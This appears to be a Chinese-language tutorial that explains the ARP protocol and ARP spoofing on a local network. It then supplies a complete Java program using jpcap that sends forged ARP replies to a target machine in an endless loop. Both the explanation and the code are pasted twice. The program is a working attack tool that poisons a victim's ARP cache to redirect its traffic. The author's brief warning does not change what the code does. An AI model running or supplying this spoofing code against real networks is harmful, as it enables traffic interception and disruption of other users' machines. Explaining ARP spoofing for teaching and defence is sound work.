ARP攻擊原理
一臺電腦通過網絡訪問另一臺電腦的時候,在數據鏈路層需要知道對方的MAC地址進行真正的物理通信.
而電腦上的應用程序通常都是根據另一臺電腦的IP地址來和對方建立通信,這時候就需要有一個協議將
IP地址解析到MAC地址,這就是ARP協議.
而ARP具體過程就是當需要通過IP獲取一個遠端的的MAC地址的時候,系統會首先檢查ARP表中
是否存在對應的IP地址,如果沒有,則發送一個ARP廣播,當某一個擁有這個MAC地址的節點
收到ARP請求的時候,會創建一個ARP reply包,并發送到ARP請求的源節點,
ARP Reply包中就包含了目的地節點的MAC地址,在源節點接受到這個reply后,
會將目的地節點的MAC地址保存在ARP緩存表中,下一次再次請求同一 IP地址的時候,
系統將會從ARP表中直接獲取目的地MAC地址,而不需要再次發送ARP廣播。
用ping命令舉例來說, 在機器A,比如說IP是192.168.1.2中發出下面的ping命令:
ping 192.168.1.3,如果192.168.1.3這個MAC地址在機器A的ARP緩存表中不存在,這時候
機器A就會發送一個ARP廣播,當192.168.1.3接到廣播后,會給機器A回一個
ARP Reply包,其中包含了192.168.1.3的MAC地址,這是正常的ARP過程.
假設IP--MAC的對應關系為(192.168.1.3--00-1C-23-2E-A7-0E)
但是局域網內的其他機器也可向機器A發一個假的IP--MAC對應關系ARP Reply包,
機器A接收到這個假的包后同樣會更新自己的ARP緩存表.假設發送的為
(192.168.1.3--00-1C-23-2E-A7-0A,0A實際上為192.168.1.4的MAC地址)
那么機器A再通過IP往192.168.1.3發送數據的時候,實際上卻發到了192.168.1.4這臺機器.
這樣就到達了ARP攻擊或者叫做ARP欺騙.ARP攻擊只能發生在局域網內.
本文旨在舉例說明ARP攻擊的原理,希望看官們不要用來惡作劇你局域網的其他機器,要不你的網管很快就會面談你滴...
下面用JAVA代碼模擬一下上面說到的ARP欺騙.
192.168.1.4將一個192.168.1.3的假的MAC地址發給 192.168.1.2.
需要用到jpcap.jar,可以從http://netresearch.ics.uci.edu/kfujii/Jpcap/doc/download.html下載.
一臺電腦通過網絡訪問另一臺電腦的時候,在數據鏈路層需要知道對方的MAC地址進行真正的物理通信.
而電腦上的應用程序通常都是根據另一臺電腦的IP地址來和對方建立通信,這時候就需要有一個協議將
IP地址解析到MAC地址,這就是ARP協議.
而ARP具體過程就是當需要通過IP獲取一個遠端的的MAC地址的時候,系統會首先檢查ARP表中
是否存在對應的IP地址,如果沒有,則發送一個ARP廣播,當某一個擁有這個MAC地址的節點
收到ARP請求的時候,會創建一個ARP reply包,并發送到ARP請求的源節點,
ARP Reply包中就包含了目的地節點的MAC地址,在源節點接受到這個reply后,
會將目的地節點的MAC地址保存在ARP緩存表中,下一次再次請求同一 IP地址的時候,
系統將會從ARP表中直接獲取目的地MAC地址,而不需要再次發送ARP廣播。
用ping命令舉例來說, 在機器A,比如說IP是192.168.1.2中發出下面的ping命令:
ping 192.168.1.3,如果192.168.1.3這個MAC地址在機器A的ARP緩存表中不存在,這時候
機器A就會發送一個ARP廣播,當192.168.1.3接到廣播后,會給機器A回一個
ARP Reply包,其中包含了192.168.1.3的MAC地址,這是正常的ARP過程.
假設IP--MAC的對應關系為(192.168.1.3--00-1C-23-2E-A7-0E)
但是局域網內的其他機器也可向機器A發一個假的IP--MAC對應關系ARP Reply包,
機器A接收到這個假的包后同樣會更新自己的ARP緩存表.假設發送的為
(192.168.1.3--00-1C-23-2E-A7-0A,0A實際上為192.168.1.4的MAC地址)
那么機器A再通過IP往192.168.1.3發送數據的時候,實際上卻發到了192.168.1.4這臺機器.
這樣就到達了ARP攻擊或者叫做ARP欺騙.ARP攻擊只能發生在局域網內.
本文旨在舉例說明ARP攻擊的原理,希望看官們不要用來惡作劇你局域網的其他機器,要不你的網管很快就會面談你滴...
下面用JAVA代碼模擬一下上面說到的ARP欺騙.
192.168.1.4將一個192.168.1.3的假的MAC地址發給 192.168.1.2.
需要用到jpcap.jar,可以從http://netresearch.ics.uci.edu/kfujii/Jpcap/doc/download.html下載.
package com.test.arp;
import java.net.InetAddress;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
public class SendFakeARP {
static byte[] stomac(String s) {
byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
String[] s1 = s.split("-");
for (int x = 0; x < s1.length; x++) {
mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
}
return mac;
}
public static void main(String[] args) throws Exception {
int time = 2; // 重發間隔時間
InetAddress desip = InetAddress.getByName("192.168.1.2");// 被欺騙的目標IP地址
byte[] desmac = stomac("00-1c-23-3c-41-7f");// 被欺騙的目標目標MAC數組
InetAddress srcip = InetAddress.getByName("192.168.1.3");// 源IP地址
byte[] srcmac = stomac("00-1C-23-2E-A7-0A"); // 假的MAC數組
// 枚舉網卡并打開設備
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
NetworkInterface device = devices[1];
JpcapSender sender = JpcapSender.openDevice(device);
// 設置ARP包
ARPPacket arp = new ARPPacket();
arp.hardtype = ARPPacket.HARDTYPE_ETHER;
arp.prototype = ARPPacket.PROTOTYPE_IP;
arp.operation = ARPPacket.ARP_REPLY;
arp.hlen = 6;
arp.plen = 4;
arp.sender_hardaddr = srcmac;
arp.sender_protoaddr = srcip.getAddress();
arp.target_hardaddr = desmac;
arp.target_protoaddr = desip.getAddress();
// 設置DLC幀
EthernetPacket ether = new EthernetPacket();
ether.frametype = EthernetPacket.ETHERTYPE_ARP;
ether.src_mac = srcmac;
ether.dst_mac = desmac;
arp.datalink = ether;
// 發送ARP應答包
while (true) {
System.out.println("sending arp..");
sender.sendPacket(arp);
Thread.sleep(time * 1000);
}
}
}
import java.net.InetAddress;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
public class SendFakeARP {
static byte[] stomac(String s) {
byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
String[] s1 = s.split("-");
for (int x = 0; x < s1.length; x++) {
mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
}
return mac;
}
public static void main(String[] args) throws Exception {
int time = 2; // 重發間隔時間
InetAddress desip = InetAddress.getByName("192.168.1.2");// 被欺騙的目標IP地址
byte[] desmac = stomac("00-1c-23-3c-41-7f");// 被欺騙的目標目標MAC數組
InetAddress srcip = InetAddress.getByName("192.168.1.3");// 源IP地址
byte[] srcmac = stomac("00-1C-23-2E-A7-0A"); // 假的MAC數組
// 枚舉網卡并打開設備
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
NetworkInterface device = devices[1];
JpcapSender sender = JpcapSender.openDevice(device);
// 設置ARP包
ARPPacket arp = new ARPPacket();
arp.hardtype = ARPPacket.HARDTYPE_ETHER;
arp.prototype = ARPPacket.PROTOTYPE_IP;
arp.operation = ARPPacket.ARP_REPLY;
arp.hlen = 6;
arp.plen = 4;
arp.sender_hardaddr = srcmac;
arp.sender_protoaddr = srcip.getAddress();
arp.target_hardaddr = desmac;
arp.target_protoaddr = desip.getAddress();
// 設置DLC幀
EthernetPacket ether = new EthernetPacket();
ether.frametype = EthernetPacket.ETHERTYPE_ARP;
ether.src_mac = srcmac;
ether.dst_mac = desmac;
arp.datalink = ether;
// 發送ARP應答包
while (true) {
System.out.println("sending arp..");
sender.sendPacket(arp);
Thread.sleep(time * 1000);
}
}
}